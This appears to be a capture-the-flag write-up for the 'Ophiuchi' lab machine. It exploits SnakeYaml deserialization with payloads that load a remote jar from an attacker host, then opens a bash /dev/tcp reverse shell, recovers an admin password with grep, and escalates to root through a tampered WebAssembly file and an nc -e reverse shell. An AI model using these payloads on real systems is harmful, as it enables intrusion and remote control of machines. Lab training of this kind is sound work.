Ophiuchi

Starting initial scan with autorecon we found two ports open- 22 and 8080

Navigating to the web application hosted at port 8080 we a find a simple web application with YAML parser. It provides us with an input box for YAML and parses it on the server side.

Vulnerability Found:

The vulnerability in Swagger is actually caused by unsafe use of SnakeYaml. SnakeYaml is a widely-used YAML parser written in Java. A lesser-known feature of SnakeYaml is its support for a special syntax that allows the constructor of any Java class to be called when parsing YAML data. For example, consider the following piece of Java code that uses SnakeYaml to parse a string in the malicious variable:

String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://attacker.com\"]]]]";
Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com

Upon parsing the malicious string, SnakeYaml will invoke the ScriptEngineManager constructor and make a request to http://attacker.com. This is actually a reasonably harmless example. If attackers are able to call arbitrary Java constructors, this also allows them to execute any command on the affected machine. Examples of harmful payloads for various Java deserialization frameworks (including SnakeYaml) are widely available online, e.g. https://github.com/mbechler/marshalsec.
So, parsing unsanitized data using a Yaml object instantiated with the default constructor allows an attacker to execute arbitrary code on the victim’s machine, even with the default classpath containing just the JDK. This provides an attacker with a very powerful attack vector, affecting every application that uses SnakeYaml in an unsafe way.

Payload used for confirmation of vulnerability

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]

In order to confirm the vulnerability pass the above payload with internally hosted http server. Successful get request received after the execution of payload.

Exploit code-

In order to exploit this vulnerability we download the exploit code from following github repository.

https://github.com/artsploit/yaml-payload

The exploit will create a java class file which will be later converted to a jar file. This jar file when fetched by the vulnerable parser will lead to remote code execution. Modify the exploit code so that exploit code executes on machine and downloads a reverse shell script from the attacker machine and this script will trigger a reverse shell.

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Creating a file named ‘Script.sh’ on attacker machine. This file will be fetched and executed on victim machine.

#!/bin/sh
bash -i >& /dev/tcp/10.10.14.17/8888 0>&1

Once our modified jar file and script file are ready initiate a call from server side by passing following payload in the yaml parser.

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“http://10.10.14.17/payload.jar"]
]]
]

For lateral Movement

Linpeas script has discovered an interesting directory in the opt directory ‘tomcat’. Since the other user that is available is admin searching for passwords associated with admin.

grep -r “admin” *

whythereisalimit

Privilege escalation

Searching for the sudo privileges of the user we discover that user has permission to execute index.go as root user.

Examining the code of index.go we realized that it is executing deploy.sh based on a condition. the condition compares the value from a variable derived from main.wasm. Also both deploy.sh and main.wasm do not have their absolute path defined thus it can be exploited by the attacker by creating modulated man.wasm and deploy.sh in its own current working directory.
Now since it is a wasm format(binary) we can find tools to covert it into different formats. One such tool can be found at

https://github.com/WebAssembly/wabt

Also if there is a problem of dependency in installing the tool then we can use the online version of the tool.

First upload the code on was2wat and modify the value of f variable to 1i32.const 1

Now copy this modified code to wat2wasm and generate the modified .wasm file.

Now download this modified wasm file and place it in the current working directory. Transfer this file to victim machine through scp utility.

scp main.wasm admin@10.10.10.227:/tmp

Earlier when we tried to edit the deploy.sh file by adding a reverse shell to it, but due to some reason payload did not trigger. Further we realized that neither python ,php or ruby is present on the machine, so any shell payload will be useless. Also the nc binary on the machine is a modulated binary. It does not have the -e options which helps in triggering the reverse shell.
Therefore first we need to import the binary from attacking machine and now add the payload to the deploy.sh

/tmp/nc32 -e /bin/bash 10.10.14.42 3333

Now as soon as the command will be triggered reverse shell as root will be received.